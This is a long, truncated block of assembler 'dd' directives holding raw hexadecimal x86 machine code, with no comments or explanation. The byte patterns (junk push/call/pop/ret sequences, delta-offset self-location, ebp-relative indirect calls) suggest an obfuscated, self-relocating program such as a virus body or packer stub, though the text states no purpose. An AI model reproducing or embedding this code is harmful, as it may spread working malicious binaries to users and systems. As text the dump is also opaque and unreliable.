8C0F85A6h dd 6, 200DBD8Bh, 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 18C35040h, 0A29CB46Dh, 3444528h, 12699D33h dd 0BD030648h, 64815A1h, 0BF66006Ah, 95FF708Eh, 6482B2Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h dd 7498AF01h, 9B774DE1h, 598D895Fh, 8D064809h, 4B99388Dh dd 0E9F88B06h, 11h, 0A3043669h, 0CB1988C9h, 19787F3Fh dd 6E8FBB1Bh, 89D1FF55h, 48277DBDh, 0F78106h, 837DB776h dd 4830E5BDh, 850F0106h, 99h, 2FA9BD03h, 26A0648h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 48C35343h, 0B1B6DF9Ah dd 30DDBD29h, 0F900648h, 482h, 18BB6600h, 0D98B50F4h, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 5195FF62h, 6A064800h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 6EDBC352h, 93122829h dd 13E9F5h, 40D00000h, 723FA81Ah, 5965A00Bh, 5D15B5A7h dd 259A8EA9h, 0EAFE962h, 0E80000h, 5D000000h, 0F912ED81h dd 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0E960CEC3h, 0Ah, 7514721Eh, 0B7E1FEFBh, 0DE97107h dd 0A7000000h, 0A30B334Ah, 296F6046h, 0BA77169Fh, 0FE8B6661h dd 93DA858Dh, 8589064Bh, 64814E1h, 28D98D89h, 50900648h dd 0D860Fh, 52500000h, 310FD8B7h dd 0E799FBFh, 90585A1Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0E9C35646h, 8D0F60B5h, 6, 6A1BD2Bh, 8B660648h dd 4DBF61DAh, 642212FDh, 35FFh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 558C73C3h dd 79CEBE57h, 10E855CFh, 69000000h, 4979305Bh, 539D5F25h dd 42E568F1h, 893EBC7Ch, 4807F98Dh, 0BF0F5F06h, 258964FAh dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 54C35343h dd 0D0C04464h, 85FF1A92h, 6481AD1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 41C35242h, 0FE796F30h, 43212FD7h dd 6AFF6AB3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 36FC351h, 0E7BF6608h, 71B5FFADh dd 6A06481Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0C0A7C355h, 5ACB811Dh, 0FF3DACCFh dd 4810D995h, 166E906h, 0BD030000h, 6481EE5h, 0BD8B00B0h dd 6482329h, 0BD8B70E6h, 64812E5h, 0AE871E4h, 9A000000h dd 0C81CBB6Ah, 7F013F0Dh, 9E98Ah, 0C30D0000h, 69D3AE2Ch dd 5FEF4973h, 830F613Ch, 128h, 312D9529h, 0B60F0648h, 0FE8B66C8h dd 333D9D31h, 6BA0648h, 66000000h, 66C6CCBFh, 8BECACBBh dd 5E9C1h, 0EEDB0000h, 0C12FBADFh, 9D8B04E8h, 6482389h dd 66E2F766h, 234EE781h, 8C0FC82Bh, 6, 0DF59501h, 0D18B0648h dd 6E9h, 42BA2800h, 0E9E48ECBh, 13h, 0A448696h, 0B255199Ah dd 296EDB60h, 0F5931228h, 0E98A2871h, 0B4h, 0FE9h, 6820600h dd 19D955Ah, 0A85FCA2Dh, 17B4CCAh, 4C50858Bh, 0BF0F4755h dd 9D0960DAh, 64817B9h, 7C08361h, 83DE8B66h, 5E800C0h dd 0F6000000h, 40C6B2CBh, 2810Fh, 88B30000h, 0FD03B5Fh dd 2783h, 198A0F00h, 0E8000000h, 0Dh, 6FCF33CEh, 0FD345D2Eh dd 0A83BBDB0h, 0D59D8B76h, 5F064812h, 47E9h, 0DFBF0F00h dd 0FFFF8D8Bh, 9D8BFFFFh, 64804BDh, 0F01E183h, 2F84h, 559D8B00h dd 83064811h, 0FFFFFFA5h, 11E9FEFFh, 8B000000h, 0EB86F72Bh dd 0A8C8D1DFh, 9950369Dh, 4689B17Dh, 4C509589h, 0E9F94755h dd 0 dd 7299B58Dh, 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 2D24C3C3h, 0FE3E74AFh, 6A32CA4Eh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 755BCC60h, 65AC4F78h, 0FFDABF0Fh, 48092D95h dd 999D8B06h, 0B906480Bh, 0FE7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0A6C35141h, 8B668C72h, 0FCE183DAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 92C35242h dd 8B630DA4h, 2A5011C0h, 66FCFA8Bh, 97DBEB81h, 0B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0A9E54939h, 68F598E6h, 9D2917C9h, 6483365h, 0BAh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0D9D8B51h, 89064829h, 48053D8Dh, 0ADF98B06h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 1C55C350h, 8A5A4D42h dd 701E336Fh, 30D8589h, 0B5890648h, 6480CE5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 2FC35141h, 0FF405BD9h dd 5C193340h, 8AFD8A4Eh, 880DDCh, 958B0000h, 6481405h dd 13E9h, 0F2C82B00h, 661F105Dh, 0F181D7F0h, 3B4C0ACEh dd 111CB279h, 30258D8Bh, 5E80648h, 6C000000h, 0B025206Dh dd 0A59BD89h, 8B5B0648h, 482BC99Dh, 0C28B5006h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C605C355h dd 71850911h, 0F906480Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0B2C35646h, 0E09DB51h, 818A0CC4h, 0BE9h dd 936CEE00h, 0B2A13AAFh, 2538AC54h, 83FBBF0Fh, 4812FDBDh dd 840F0006h, 1Fh, 1B75BD8Bh, 0B80648h, 8B000000h, 482B21BDh dd 808D8D06h, 0FF06484Eh, 0DFC381E1h, 83253E0Bh, 482AD9BDh dd 840F0006h, 40Ch, 11799D8Bh, 0BD830648h, 6482AD9h, 14840F01h dd 29000004h, 4812319Dh, 0D9BD8306h, 306482Ah, 3CB860Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0AB5E97C3h, 9D8B396Eh, 6480A2Dh, 0B99BD23h dd 66600648h, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 9B3D5AC3h, 0F948318Dh, 1C6DB589h dd 0E0BF0648h, 80127904h, 0F38004E1h, 0FC90A16h, 12284h dd 0E7816600h, 858B4101h, 6481159h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0E2C35242h, 579691ECh, 81665749h dd 5FB3DDDFh, 12198533h, 6A0648h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0D03EC3h, 0EA1C7DB2h dd 8C0F189Ch, 2, 9D23FA8Bh, 6482B45h, 0FE8B6690h, 0A32BBF50h dd 1901FEEh, 48326195h, 0E9006A06h, 9, 8DB0ADCDh, 57C240E8h dd 4E8D5h, 3FF0000h, 6650001Fh, 8BAC7ABBh, 8A042444h, 66008BF9h dd 4489F88Bh, 52500424h, 0FFE8B66h, 0F08B6031h, 1E436BFh dd 585A6120h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8B664C95h, 4195FFD9h, 0F9064807h dd 0B6898589h, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 927C58C3h, 0DB80426Eh, 0F987BF67h dd 0B0E97B0Dh, 0E9000001h, 7, 177FC4CFh, 8B8EDB40h, 4BB68185h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 94039B8Bh, 5E9D6h, 9510000h, 0C7300FD4h dd 1800h, 0F7DB8000h, 0B685B58Bh, 6A064Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7B428AC3h dd 0AD4BBB6Fh, 858B3ACBh, 6481A85h, 0EE9h, 0A6CD3F00h dd 34338DDDh, 73BB1FFBh, 8920EC03h, 19950106h, 8B06480Ah dd 48115985h, 0BF7DBB06h, 468977B5h, 0C9BD8B04h, 5006480Dh dd 7DBEC6BFh, 24348902h, 5B509h, 0B5FF0648h, 64BB681h dd 0B299501h, 95290648h, 6483295h, 4E8h, 1F03FF00h, 0DF8B6600h dd 0F606050h, 8Ch, 6140B700h, 0BF19BA66h, 24448B61h, 6BBF6604h dd 56008B8Bh, 12E9h, 9046D300h, 7A7C8011h, 0FA08BD57h dd 673DCE3Ah, 5F250A71h, 4244489h, 58FB8B66h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 34C35343h, 0FF75E063h dd 8DDA76AFh, 4BB68985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0E91BF726h, 90E7BF25h dd 8950F708h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0FBB1DFC3h, 9FE42BFAh, 4195FF3Bh dd 6A064807h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0EDBDC353h, 0DF6B3C38h, 0E5BD8B51h dd 61064806h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 20C35141h, 0F87471Eh, 31D9C54Dh, 0E51BD89h, 85C70648h dd 6482AD9h, 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 1AC35040h, 0BD83D0B0h, 64BB689h, 3A840F00h, 89000000h dd 4810919Dh, 62BB6606h, 46E986h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 96711BC3h dd 78D93A77h, 0F63EF23h, 8Ah, 0C305000h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 80DA8B66h, 6A2CEBh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0E63042C3h, 0E8870FE1h, 8, 48D3DF9Dh, 0C0E5B6DBh, 10E8h dd 11DDA200h, 2A64126Bh, 0C7044A6Eh, 69CF5DCBh, 14E857h dd 0EE560000h, 773A5DECh, 1ADD752Eh, 0AED07A3h, 0D153FDA9h dd 5F5B97D4h, 0D9BD835Bh, 306482Ah, 482850Fh, 0BD830000h dd 64BB689h, 75840F00h, 66000004h, 0D25FDB81h, 0B689B5FFh dd 850F064Bh, 0Bh, 6E9h, 1E43B600h, 0FF245840h, 4809F595h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 2E16F486h, 89B607E6h, 4833399Dh, 6850F06h dd 81000000h, 6E1684D3h, 9D89603Ch, 64807EDh, 0AE9h, 5E274300h dd 0E64A60BBh, 61F6A8BBh, 0B67DB58Bh, 9E9064Bh, 5F000000h dd 1473BE42h, 89E48D74h, 106C7h, 6A0001h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 152E57C3h dd 0DD2EEF78h, 0BB129F05h, 32A0A6A2h, 7D95BB50h, 348973A9h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 1E57B599h, 0FE56F4Ch dd 682h, 919D0B00h, 50064823h, 38D0Fh, 8B660000h, 0B5FF5FF8h dd 64BB689h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0ACC35343h, 0FB799249h, 0BD9D8BE2h, 0E8064829h dd 0Ah, 300D4BD6h, 25072BFBh, 0B7508B8Dh, 0FF5B5B87h, 48006195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 14697A36h, 0EA22BF7Ah, 0A5E78166h, 25958912h dd 8B064816h, 4BB67DB5h, 0FE8B6606h, 0F25858Bh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 133A71C3h, 0FC5E790Fh, 0C48689h, 0B70F0000h, 5958BFEh dd 0BF064814h, 3FA03FBFh, 6A04C283h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 8B46C356h dd 9C57D05h, 0F61AFC0h, 688h, 919D8B00h, 8906480Dh, 480141B5h dd 22BF6606h, 20508912h, 0CAD4858Dh, 8950064Bh, 481AA9BDh dd 86895B06h, 0B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 45C35646h, 0EFCB81F7h, 6A195141h, 0FFE2B300h dd 4BB689B5h, 899D8B06h, 0FF064812h, 48005195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 719531F3h, 8B064823h, 48276D9Dh, 0D98B9606h, 52506050h dd 6E9h, 36197D00h, 0F22C6F4h, 50585A31h, 0B8310F52h, 614A1BFAh dd 9661585Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 59C35040h, 0EE9D758h, 93000000h, 0AE1D93FAh, 30ABFD2h dd 0BA95F9B5h, 0B589602Dh, 64827C9h, 116D9589h, 0FF610648h dd 4BB689B5h, 359D8906h, 0FF06480Ah, 48142995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0A5BE9C90h, 11304330h, 8B0FD920h, 6, 2809BD8Bh, 7E80648h dd 0F1000000h, 0C98FAC99h, 800F75BCh, 1, 0BD835FF8h, 64831A9h dd 9840F00h, 96000000h, 50FA8B66h, 0FBB70F96h, 0B689B5FFh dd 0BD29064Bh, 6480CA1h, 13FD95FFh, 6A0648h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0F33D42C3h dd 0D999D8Bh, 0B5FF0648h, 64BB689h, 19840Fh, 14E90000h dd 0FA000000h, 950D6E77h, 8D0816F6h, 46032DB0h, 0E3D7C2C0h dd 0FFDCA9CBh, 48177D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 6B9C0B6Eh dd 1F19F47Fh, 2F1DBD83h, 0F020648h, 7A84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 88BB55E5h, 29369AF8h, 4829E58Dh, 51858B06h, 6A064815h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 4C44C357h, 0E0F099ADh, 0F19B938h, 0C6F8B7h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 78EAA00Ah, 0C72BD75Ah, 4816E185h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0D8D23177h, 6322CED9h, 0ECECCB81h, 0BD8B48C7h, 6482359h dd 0FFF2A4E9h, 0BD9D89FFh, 8B06482Eh, 2EBF66C1h, 55858DA8h dd 60064812h, 6880Fh, 870F0000h, 0 dd 0FE8h, 0E81FB200h, 0C55923E2h, 39FD1F6Dh, 0E9F7543Bh dd 2309BD01h, 615B0648h, 5918D89h, 56500648h, 10E95250h dd 91000000h, 9E6B7DBBh, 9E302A4Eh, 632BB765h, 0F725089h dd 8A0F31h, 5A000000h, 4895B58h, 0FE8B6624h, 0BB66006Ah dd 6A776Fh, 49DB589h, 858D0648h, 64D09C0h, 590F0DBFh, 5C0837Fh dd 1634BF66h, 0BB665090h, 5390CE2Eh, 5BD9B70Fh, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 875606C3h, 40D38166h, 0EE995h, 0DD540000h, 353130A3h dd 7A9168ADh, 0B6D9700Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 9B408C3h, 2CEBFDB1h dd 29CA30B6h, 4807A5BDh, 2D95FF06h, 0F06482Bh, 2584h, 0DE800h dd 988C0000h, 471AB9EBh, 186A7943h, 0E9C81737h, 0Dh, 0AF52F462h dd 0E99D6D63h, 0D67F7D67h, 8D8D5FCDh, 64B9938h, 5E8h, 0E993300h dd 8D292AD4h, 6481225h, 0E19D8B5Bh, 0FF064811h, 56006AD1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0FE8A6880h, 30E5BD83h, 0F010648h, 9885h, 198C0F00h dd 0E9000000h, 14h, 0B8DA54Dh, 1620A875h, 1177682h, 2FF2F2E7h dd 0E8788852h, 11DD9589h, 26A0648h, 10E9h, 447A3300h, 9413990Eh dd 0ED61F6A6h, 60D337F4h, 3BB9032h, 5048E1ADh, 6A90FE8Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 4437C350h, 95FF7CF5h, 6480051h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FCC35545h, 7C7E5AD9h dd 91E62058h, 1B599D89h, 0F9500648h, 0C24E95Bh, 0E80000h dd 5D000000h, 9CAED81h, 8D09064Dh, 648145Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 86C35747h, 0EBC944DBh dd 8D2F9A38h, 4B93DA85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0DBBF0F5Fh, 2D05BB90h dd 0E95021C7h, 8, 617D49A1h, 1F0848AAh, 719D8990h, 66064809h dd 436ADB81h, 35FF64h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0B69AC356h dd 81663606h, 0BFEF3CF7h, 830BF4Fh, 258964h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 53ACC357h, 5BD8B70Fh, 1AD185FFh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0C1223C3h, 496DF7B8h, 0B8BB6611h, 29FF6A92h, 482BC985h dd 0DF816606h, 0B5FFADBEh, 64817B5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0B0C35545h, 0D8F1237Ah, 0C5BBB02Eh dd 0FF755ADDh, 4810D995h, 197E906h, 0BD2B0000h, 64813B1h dd 9D2B00B0h, 6481441h, 0E6DF8B66h, 89BD8970h, 0E406482Ah dd 2B516071h, 480AFD8Dh, 29605B06h, 481A698Dh, 0F2EE8106h dd 61493353h, 0F613C61h, 15C83h, 11E800h, 0A1ED0000h, 0C2842DE3h dd 27654EF3h, 6C14CB40h, 0F011691h, 0E95FD8B7h, 8, 0B5F7F046h dd 0B31A0DE5h, 0FC8B60Fh, 684h, 0CD858900h, 0BA06480Ch dd 6, 0C18BB4B3h, 10E9h, 3644E200h, 0C4A54AE9h, 683D291Dh dd 1EAFB41h, 68D0F7Ch, 1000000h, 480059B5h, 4E8C106h, 13D5B589h dd 0F7660648h, 8E8E2h, 0E6180000h, 28342259h, 9D8B0C77h dd 6482C0Dh, 60C82B5Fh, 12C98D0Bh, 0B5890648h, 6482C0Dh dd 1D18B61h, 4809ADB5h, 0BEE9F806h, 0E8000000h, 11h, 4C37478Eh dd 3B587D56h, 0EFFC4265h, 2D5A2E42h, 0ED9D8995h, 5F064812h dd 4E49858Bh, 9D334400h, 6480229h, 8907C083h, 4810C5B5h dd 0C08306h, 0BBC4D381h, 0D03B55F1h, 2F830Fh, 0F600000h dd 0F781DFB7h, 609C84E4h, 6BE961h, 13E80000h, 0CC000000h dd 0B25B43C9h, 4432DF36h, 52C62406h, 95F5CF99h, 95316B2Eh dd 6482EA9h, 0FF8D8B5Bh, 9FFFFFFh, 4815419Dh, 0B1858906h dd 83064809h, 840F01E1h, 31h, 0C4DEBB66h, 30758589h, 0A5830648h dd 0FFFFFFFFh, 0A58D29FEh, 0E906480Dh, 8, 4F77914Fh, 6FB759D5h dd 4E499589h, 0DCB34400h, 0E9h, 80B58D00h, 6A064C82h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 6A93C357h, 0FFDE8A00h, 48092D95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 56AB8151h dd 0FE4CBB66h, 0FA7B95Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8D89C0C3h, 64828E1h dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 13BFC356h, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 5D420C7Ch dd 0A2EABB20h, 860F099Dh, 18h, 10E8h, 5E900D00h, 0B87C5E2Eh dd 37823147h, 6C65C5A1h, 5B5F57D0h, 0B8h, 0A5958900h, 0BA064829h dd 0 dd 0CE9h, 0D4067400h, 0ECD17E2h, 0F47C3AC0h, 0C233AD44h dd 0D003E8D1h, 7504E983h, 219D33F4h, 66064804h, 870FDE8Bh dd 6, 181D9D8Bh, 880D0648h, 60000000h, 3870Fh, 8B660000h dd 0D18166D7h, 8B61273Fh, 48140595h, 258D8B06h, 89064830h dd 48317D8Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 0F58188Bh, 38Eh, 0FFB70F00h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0CBC35545h, 520F86A3h, 978CD528h dd 0BD83F514h, 64812FDh, 59840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0EF95C357h, 0B805h, 8DF80000h, 484E808Dh, 29BB6606h dd 6AE1FF9Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 4DBCC353h, 68F0Fh, 8D010000h dd 64830C1h, 2AD9BD83h, 0F000648h, 32184h, 7DBD8900h, 83064830h dd 482AD9BDh, 840F0106h, 329h, 26F19D29h, 0BD830648h, 6482AD9h dd 0E0860F03h, 6A000002h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8964C350h, 482961BDh dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0BD5F05C3h, 0BFFA0140h, 7262B135h, 1CCEBF66h dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 807FC351h, 0BD8B04E1h, 6481F0Dh dd 840FC90Ah, 0AAh, 1159858Bh, 0DB800648h, 198533BFh, 9064812h dd 480EF995h, 0E8509006h, 5, 3BB04BFBh, 89905F5Dh, 482B2195h dd 6A006A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0DB9DC353h, 94751F35h, 2723BF66h dd 339EC468h, 70F0BB57h, 348174CEh, 2C9D3B24h, 318D8957h dd 0FF064820h, 48074195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FAD28DAh dd 582h, 0DF816600h, 85899C5Eh, 64BB689h, 3830Fh, 8B660000h dd 156E9DEh, 858B0000h, 64BB681h, 1800C7FCh, 31000000h dd 4817259Dh, 85B58B06h, 89064BB6h, 482A0185h, 85858B06h dd 6A06481Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0C992C352h, 6892DD9h, 0BD89D88Bh dd 648057Dh, 1159858Bh, 0FFC0648h, 4689FFBFh, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 966BF421h, 5FFD8A56h, 0D98B5250h, 6A965Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0B9BFD7C3h dd 6A98D89h, 0B5FF0648h, 64BB681h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 42C35343h, 2EA1DE0Fh, 8F0F6EFFh dd 6, 4119D89h, 9E90648h, 0E000000h, 85C3F4D9h, 1714C456h dd 8BA1EF68h, 0FACABB6Ah, 34813CBCh, 94A21024h, 56006A6Ah dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 665999A4h, 8DF8DA8Bh, 4BB68985h, 8B73B306h, 4809F1BDh dd 0FE85006h, 0BA000000h, 692826ACh, 4C790D0Ah, 0B3AD0ED0h dd 6E932AAh, 9A000000h, 3F16970Eh, 4895B10h, 4195FF24h dd 0F9064807h, 85C7F561h, 6482AD9h, 3, 0F199D8Bh, 0BD830648h dd 64BB689h, 44840F00h, 29000000h, 480955BDh, 54E906h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0AEBF3C3h, 0C820467h, 60746288h, 0F61EF8Ah dd 0A86h, 5E900h, 7C440000h, 5089E25Eh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0CE9E2C3h dd 40000000h, 0AB01F36Bh, 840F688Bh, 0BFD6CFA4h, 6B21A8A8h dd 2AD9BD83h, 0F030648h, 3A085h, 7E800h, 0E4000000h, 6B0A9712h dd 0F6BF507Dh, 5B48197Ah, 89BD835Fh, 64BB6h, 37F840Fh dd 0BF0F0000h, 89B5FFDEh, 6A064BB6h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 52D4C352h dd 9936B4CFh, 60E23D2Bh, 20299D29h, 5DBF0648h, 61012571h dd 9F595FFh, 0B58B0648h, 64BB67Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0B2C35242h, 5B56C239h, 0E856A0BBh dd 6840F0Eh, 29000000h, 48090DBDh, 106C706h, 66000100h dd 67D0EF81h, 0BB665696h, 505FBA84h, 0AE8h, 4E0CC800h dd 7286488h, 5BE6C558h, 0FFDF8B96h, 4BB689B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 6BD31081h, 6010DFE4h, 38C0Fh, 0BF0F0000h, 0AD8D8BD8h dd 61064807h, 6195FFh, 81660648h, 8B15B0F3h, 4BB67DB5h dd 0B9BD8B06h, 8B06482Bh, 480F2585h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 5BB332A4h dd 0C48689h, 1600000h, 480E419Dh, 8C0F6006h, 0 dd 28EDBD8Bh, 61610648h, 1405958Bh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 830087C3h dd 0D8EA00D8h, 9D8B6C81h, 6481C51h, 904C283h, 48180985h dd 58B0F06h, 66000000h, 125FC381h, 8B205089h, 4819B19Dh dd 0D4858D06h, 81064BCAh, 51D208DBh, 0B8868955h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 6E79C352h, 8579F41Fh, 0C5775764h, 18DEF781h dd 6A32E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0CAC35343h, 0CD2DDBDh, 5525BFF8h, 0B5FF06D5h, 64BB689h dd 0BDB56FBFh, 5195FF59h, 0BF064800h, 68608864h, 0B2BF6696h dd 0BF6650B0h, 6A9640DAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 4003C351h, 91D65B17h dd 8D0F4ED8h, 3, 0FFE8B66h, 381h, 0DBBF0F00h, 0B689B5FFh dd 13E9064Bh, 0BB000000h, 639E8680h, 94A4BB92h, 4955C601h dd 1374F2A9h, 95FFBDC1h, 6481429h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 7CC35545h, 625C8DDCh, 65BB4EC0h dd 8341FC65h, 4831A9BDh, 840F0006h, 1Dh, 2EE58D89h, 0B3500648h dd 243489A7h, 5E8h, 49420000h, 810F16D8h, 0 dd 89B5FF5Bh, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0BE50C352h, 0E362371h dd 7DF4033Bh, 2860Fh, 0D98B0000h, 13FD95FFh, 6A0648h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0DBA52BC3h, 0AF2CD23Dh, 